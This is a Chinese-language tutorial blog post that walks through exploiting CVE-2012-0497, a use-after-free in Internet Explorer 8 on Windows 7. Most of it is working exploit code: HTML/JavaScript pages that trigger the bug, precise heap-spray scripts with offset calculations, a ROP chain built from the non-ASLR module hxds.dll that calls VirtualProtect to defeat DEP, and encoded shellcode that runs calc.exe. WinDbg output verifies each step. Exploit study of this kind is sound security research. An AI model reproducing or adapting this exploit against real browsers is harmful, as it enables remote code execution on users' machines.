首页 > 代码库 > CVE-2012-0497 漏洞利用学习笔记

CVE-2012-0497 漏洞利用学习笔记

前面一篇学习了下怎么用ClassName或者title来进行占位,现在学习下如何利用该漏洞

对于UAF漏洞的利用,最简单的就是通过Heap Spary来实现了,国外的大神也提出了一种不用Heap Spary,直接构造一个对象来利用的方法

现在学习一下这两种方法,漏洞利用环境为win7 32位+ie8,我们需要解决的问题有:

1.如果精确进行Heap Spary

2.如何bypass DEP

3.解决ALSR

接下来一个个解决这3个问题:

一、如何精确进行Heap Spary

有关这个问题,泉哥翻译的Exploit编写系列教程有详细的说明,可以参考下。

这里首先说明为什么要进行精确的Heap Spary

由于在xp sp3之后,ie8默认就开启了DEP,这样使得直接进行Heap Spary喷射的内存将不具有可执行的属性,一旦EIP跳到我们喷射的内存上将因为不可执行属性而触发异常:

0:012> g(cbc.258): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=0c0c0c0c ebx=001fbc98 ecx=00000052 edx=00000000 esi=00000000 edi=00201430eip=90909090 esp=0230d600 ebp=0230d65c iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0001020690909090 ??              ???0:005> !address 0c0c0c0c
Failed to map Heaps (error 80004005)Usage:                  <unclassified>Allocation Base:        0c090000Base Address:           0c090000End Address:            0c111000Region Size:            00081000Type:                   00020000    MEM_PRIVATEState:                  00001000    MEM_COMMITProtect:                00000004    PAGE_READWRITE

因此我们需要构造一个ROP链来将这块内存赋予可执行的属性后再回到这里的内存执行,那么我们就需要确保我们能够精确的知道我们shellcode的具体位置,因为在构造ROP链时我们需要用

喷射的shellcode来控制ROP链中函数的参数等问题,其实是相当于将分配的堆作为新的栈使用(这里需要通过stackpivot技术实现,即指令xchg,如xchg eax,esp将栈指向eax指向的内存空间)

<!doctype html><html><head><script>    var arr_div = new Array();    var junk=unescape("%u0c0c%u0c0c");    while (junk.length < (0x100- 6)/2)    {     junk+=junk;    }    var nops=unescape("%u9090%u9090");    while(nops.length<0x1000) nops+=nops;    var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or shellcode    var shellcode=nops.substring(0,0x800-code.length)+code;//堆内存0x1000字节对齐,由于unescape函数的关系,要分配0x1000字节的堆空间实际需要0x800个%u4141    while(shellcode.length<0x40000)    {        shellcode+=shellcode;    }    var block = shellcode.substring(0,0x40000);    var heap_chunks = new Array();    for (var i=1; i < 500; i++)         heap_chunks[i] = block.substring(0,0x40000);    function helloWorld()     {          var e0 = null;          var e1 = null;          var e2 = null;          try           {               e0 = document.getElementById("a");               e1 = document.getElementById("b");               e2 = document.createElement("q");               e1.applyElement(e2);               e1.appendChild(document.createElement(button));               e1.applyElement(e0);               e2.outerText = "";               e2.appendChild(document.createElement(body));          } catch(e) { }          CollectGarbage();           for(var i = 0; i<0x50; i++)          {               arr_div[i]= document.createElement("div");               arr_div[i].title= junk.substring(0,(0x58-6)/2);          }     }     </script></head><body onload="eval(helloWorld())">     <form id="a">     </form>     <dfn id="b">     </dfn></body></html>

用这段代码完成喷射后的堆空间如下:

0:012> g(948.c08): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=0c0c0c0c ebx=000e7f98 ecx=00000052 edx=00000000 esi=00000000 edi=00106270eip=90909090 esp=0230cfa8 ebp=0230d004 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0001020290909090 ??              ???0:005> !heap -p -a eax    address 0c0c0c0c found in    _HEAP @ 60000      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state        0c0c0018 10002 0000  [00]   0c0c0020    80010 - (busy VirtualAlloc)

0c0c0c0c所在堆块的UserPtr为0c0c0020:

0:005> dd 0c0c00200c0c0020  00080000 90909090 90909090 909090900c0c0030  90909090 90909090 90909090 909090900c0c0040  90909090 90909090 90909090 909090900c0c0050  90909090 90909090 90909090 909090900c0c0060  90909090 90909090 90909090 909090900c0c0070  90909090 90909090 90909090 909090900c0c0080  90909090 90909090 90909090 909090900c0c0090  90909090 90909090 90909090 90909090

0:005> dd 0c0c0020+0x10000c0c1020  41414141 90909090 90909090 909090900c0c1030  90909090 90909090 90909090 909090900c0c1040  90909090 90909090 90909090 909090900c0c1050  90909090 90909090 90909090 909090900c0c1060  90909090 90909090 90909090 909090900c0c1070  90909090 90909090 90909090 909090900c0c1080  90909090 90909090 90909090 909090900c0c1090  90909090 90909090 90909090 90909090

可见我们喷射的数据是从0c0c0020+4的位置开始的,此时的内存布局如下:

观察以下喷射的内存块:

0:005> !heap -flt s 0x80010    _HEAP @ 60000      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state        02bd0018 10002 0000  [00]   02bd0020    80010 - (busy VirtualAlloc)        02c60018 10002 0002  [00]   02c60020    80010 - (busy VirtualAlloc)        02ff0018 10002 0002  [00]   02ff0020    80010 - (busy VirtualAlloc)        03280018 10002 0002  [00]   03280020    80010 - (busy VirtualAlloc)        03310018 10002 0002  [00]   03310020    80010 - (busy VirtualAlloc)        03d10018 10002 0002  [00]   03d10020    80010 - (busy VirtualAlloc)        04050018 10002 0002  [00]   04050020    80010 - (busy VirtualAlloc)        043e0018 10002 0002  [00]   043e0020    80010 - (busy VirtualAlloc)        04470018 10002 0002  [00]   04470020    80010 - (busy VirtualAlloc)        04500018 10002 0002  [00]   04500020    80010 - (busy VirtualAlloc)

通过以上数据可以看出每个内存块都以0018结尾,这样我们每次分配的数据相对每个块的UserPtr是固定的,因此我们可以计算出nops与堆块的距离然后构造数据:

offset=(0x0c0c0c0c-0x0c0c0024)=0xBE8/2=0x5F4

除以2还是因为unscape计算的长度实际是分配字节的一半。

<!doctype html><html><head><script>    var arr_div = new Array();    var junk=unescape("%u0c0c%u0c0c");    while (junk.length < (0x100- 6)/2)    {     junk+=junk;    }    var nops=unescape("%u9090%u9090");    while(nops.length<0x1000) nops+=nops;    var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or shellcode    var offset=0x5F4;    var junk_offset=nops.substring(0,0x5F4);    var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);    while(shellcode.length<0x40000)    {        shellcode+=shellcode;    }    var block = shellcode.substring(0,0x40000);    var heap_chunks = new Array();    for (var i=1; i < 500; i++)         heap_chunks[i] = block.substring(0,0x40000);    function helloWorld()     {          var e0 = null;          var e1 = null;          var e2 = null;          try           {               e0 = document.getElementById("a");               e1 = document.getElementById("b");               e2 = document.createElement("q");               e1.applyElement(e2);               e1.appendChild(document.createElement(button));               e1.applyElement(e0);               e2.outerText = "";               e2.appendChild(document.createElement(body));          } catch(e) { }          CollectGarbage();           for(var i = 0; i<0x50; i++)          {               arr_div[i]= document.createElement("div");               arr_div[i].title= junk.substring(0,(0x58-6)/2);          }     }     </script></head><body onload="eval(helloWorld())">     <form id="a">     </form>     <dfn id="b">     </dfn></body></html>

这样的话我们的堆布局如下:

调试如下:

0:012> g(c50.430): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=0c0c0c0c ebx=002c7de8 ecx=00000052 edx=00000000 esi=00000000 edi=002eaa98eip=90909090 esp=024fd6b0 ebp=024fd70c iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0001020290909090 ??              ???0:005> dd 0c0c0c0c0c0c0c0c  41414141 41414141 90909090 909090900c0c0c1c  90909090 90909090 90909090 909090900c0c0c2c  90909090 90909090 90909090 909090900c0c0c3c  90909090 90909090 90909090 909090900c0c0c4c  90909090 90909090 90909090 909090900c0c0c5c  90909090 90909090 90909090 909090900c0c0c6c  90909090 90909090 90909090 909090900c0c0c7c  90909090 90909090 90909090 90909090

已经实现了精确控制!

二.如何bypass DEP&ASLR

要绕过DEP需要构造ROP链,而构造ROP链就需要考虑ASLR,这里我们采取的方法是用未开启ASLR的模块来绕过ASLR,该是模块hxds.dll,是office2010的一个组建,通过一条js语句来加载该模块:

location.href = http://www.mamicode.com/‘ms-help://‘

所以我们需要的就是在该模块中构造ROP链并最终调用VirtualProtect。

搜索ROP的过程就不多说了 构造好的ROP链如下:

var stackpivot += "%ub30e%u51c3"; // 0x51c3b30e  # RETN  [hxds.dll] (align esp)stackpivot += "%u198c%u51be"; // 0x51be198c  # POP EBX # RETN [hxds.dll] stackpivot += "%u4a41%u51be"; // 0x51be4a41  # XCHG EAX,ESP # RETN  [hxds.dll]var ropchain =   "%u34b4%u51bf" +   //   0x51bf34b4     # POP ESI # RETN [hxds.dll] "%u10b8%u51bd" +   //   0x51bd10b8     # ptr to &VirtualProtect() [IAT hxds.dll]"%u2d97%u51bd" +   //   0x51bd2d97     # MOV EAX,DWORD PTR DS:[ESI] # RETN [hxds.dll] "%ucba0%u51bd" +   //   0x51bdcba0     # XCHG EAX,ESI # RETN 00 [hxds.dll] "%u79e2%u51c3" +   //   0x51c379e2     # POP EBP # RETN [hxds.dll] "%u9683%u51c5" +   //   0x51c59683     # & call esp [hxds.dll]"%u6fbd%u51c5" +   //   0x51c56fbd     # POP EAX # RETN [hxds.dll] "%ufdfe%ua17f" +   //   0xa17ffdfe     # put delta into eax (-> put 0x00000201 into ebx)"%u1e01%u51c1" +   //   0x51C11E01     # ADD EAX,5E800403 # RETN [hxds.dll] "%u92d8%u51c3" +   //   0x51C392D8     # XCHG EAX,EBX # RETN [hxds.dll]"%ue67d%u51bf" +   //   0x51BFE67D     # XOR EAX,EAX # RETN [hxds.dll] "%u6fbd%u51c5" +   //   0x51c56fbd     # POP EAX # RETN [hxds.dll] "%ufc3d%ua17f" +   //   0xa17ffc3d     # put delta into eax (-> put 0x00000040 into edx)"%u1e01%u51c1" +   //   0x51C11E01     # ADD EAX,5E800403 # RETN [hxds.dll] "%u592b%u51bf" +   //   0x51BF592B     # XCHG EAX,EDX # RETN [hxds.dll] "%ucf3e%u51be" +   //   0x51becf3e     # POP ECX # RETN [hxds.dll] "%ud150%u51c5" +   //   0x51c5d150     # &Writable location [hxds.dll]"%uf563%u51be" +   //   0x51bef563     # POP EDI # RETN [hxds.dll] "%u7402%u51c0" +   //   0x51c07402     # RETN (ROP NOP) [hxds.dll]"%u6fbd%u51c5" +   //   0x51c56fbd     # POP EAX # RETN [hxds.dll] "%u9090%u9090" +   //    0x90909090     # nop"%ua8dc%u51bd";    //   0x51BDA8DC     # PUSHAD # POP ECX # RETN [hxds.dll]

最终的Exploit页面代码如下:

<!doctype html><html><head><script>    var arr_div = new Array();    var junk=unescape("%u0b30%u0c0c");    while (junk.length < (0x100- 6)/2)    {     junk+=junk;    }    var nops=unescape("%u9090%u9090");    while(nops.length<0x400) nops+=nops;    while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3");    nops+=unescape("%u198c%u51be");    var code =unescape(     "%u4a41%u51be%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+     "%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+     "%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+     "%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+     "%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+     "%u9090%u9090%ua8dc%u51bd"+                                        //ROP结束     "%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" +               //shellcode calc.exe     "%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" +     "%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" +     "%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" +     "%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" +     "%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" +     "%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" +     "%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" +     "%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" +     "%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" +     "%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" +     "%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" +     "%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" +     "%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" +     "%ua4b3%u7851%u431a%u1bd2%u4162");    var offset=0x5F4;    var junk_offset=nops.substring(0,0x5F4);    var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);    while(shellcode.length<0x40000)    {        shellcode+=shellcode;    }    var block = shellcode.substring(0,0x40000);    var heap_chunks = new Array();    for (var i=1; i < 500; i++)         heap_chunks[i] = block.substring(0,0x40000);    location.href = ms-help://;    function helloWorld()     {          var e0 = null;          var e1 = null;          var e2 = null;          try           {               e0 = document.getElementById("a");               e1 = document.getElementById("b");               e2 = document.createElement("q");               e1.applyElement(e2);               e1.appendChild(document.createElement(button));               e1.applyElement(e0);               e2.outerText = "";               e2.appendChild(document.createElement(body));          } catch(e) { }          CollectGarbage();           for(var i = 0; i<0x50; i++)          {               arr_div[i]= document.createElement("div");               arr_div[i].title= junk.substring(0,(0x58-6)/2);          }     }     </script></head><body onload="eval(helloWorld())">     <form id="a">     </form>     <dfn id="b">     </dfn></body></html>

需要注意的:

第一次控制EIP时的第一条指令是一条StackPivot指令,用来将ESP指向我们可控的内存,此时esp应该是指向0x0c0c0b30,因此这块数据

也需要精确的控制,但这块数据并不是ROP链,因此这里通过填充一系列的RET指令使ESP不断的增加直到到达ROP链的入口0x0c0c0c0c+0x4